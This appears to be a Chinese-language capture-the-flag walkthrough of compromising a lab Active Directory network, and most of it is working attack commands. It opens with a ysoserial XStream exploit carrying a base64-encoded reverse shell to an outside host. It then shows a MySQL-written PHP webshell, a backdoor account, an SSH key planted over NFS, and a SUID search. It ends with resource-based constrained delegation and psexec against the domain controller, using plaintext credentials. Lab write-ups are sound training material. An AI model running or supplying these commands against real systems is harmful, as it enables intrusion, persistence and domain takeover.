CVE-2021-29505

https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md

vps用JRMPListener启动一个恶意的RMI Registry

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUueHgueHgueHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

接着监听一下弹shell的端口，然后向网站传poc，我这里用的9999

172.22.13.6 dc
172.22.13.14 本机
172.22.13.57 nfs
172.22.13.28 mysql

这里有mysql弱口令，加个全局代理连上去

看一下secure_file_priv，发现可以写文件

再查看日志发现是phpstudy起的服务，那就很好，因为这东西权限很高，一般连上去就是system权限，不用udf提权了

写🐎

1
select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";

再用蚁剑链接

然后建个用户rdp上去

net user calmsec admin@123 /add

NFS挂载

题目说了nfs

14那台机器先更新一下依赖

1
2
3
sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
sudo apt-get update
apt-get install nfs-common -y

再挂载nfs

1
2
3
cd / 
mkdir temp 
mount -t nfs 172.22.13.57:/ ./temp -o nolock

发现只有

写公钥连上去

1
2
3
4
5
ssh-keygen 
cd /temp/home/joyce/ 
mkdir .ssh 
cat /root/.ssh/id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keys 
ssh -i /root/.ssh/id_rsa joyce@172.22.13.57

发现没有权限

找找提权，提权探针

1
find / -user root -perm -4000 -exec ls -ldb {} \;

ftp提权

我们能把flag传到ftp里，最初我们获得的机器里那个ftp服务没权限传，我们再起个

1
nohup python3 -m pyftpdlib -p 6666 -u test -P test -w &

再ssh上57

1
2
ftp 172.22.13.14 6666
put /flag02.txt

用户名test密码test

再回去看一下,有个pas.txt

1
xiaorang.lab/zhangwen\QT62f3gBhK1

再回去用bloodhound收集一下域内信息

用BloodHound发现chenglei这个用户是ACL Admins组的，对WIN-DC具有WriteDacl权限，能写属性，比如写个DCSync、RBCD啥的

1
2
3
4
5

proxychains python3 addcomputer.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'

proxychains python3 rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$'

proxychains python3 getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6

export KRB5CCNAME=Administrator@cifs_WIN-DC.xiaorang.lab@XIAORANG.LAB.ccache

然后改/etc/hosts把dc加进去，即可无密码连上去

proxychains python3 psexec.py Administrator@WIN-DC.xiaorang.lab -k -no-pass -dc-ip 172.22.13.6

type C:\User\Administrator\flag\flag04.txt

这种方法比较浪费时间，还有一种是直接加dcsync然后导出域控hash

再用猕猴桃
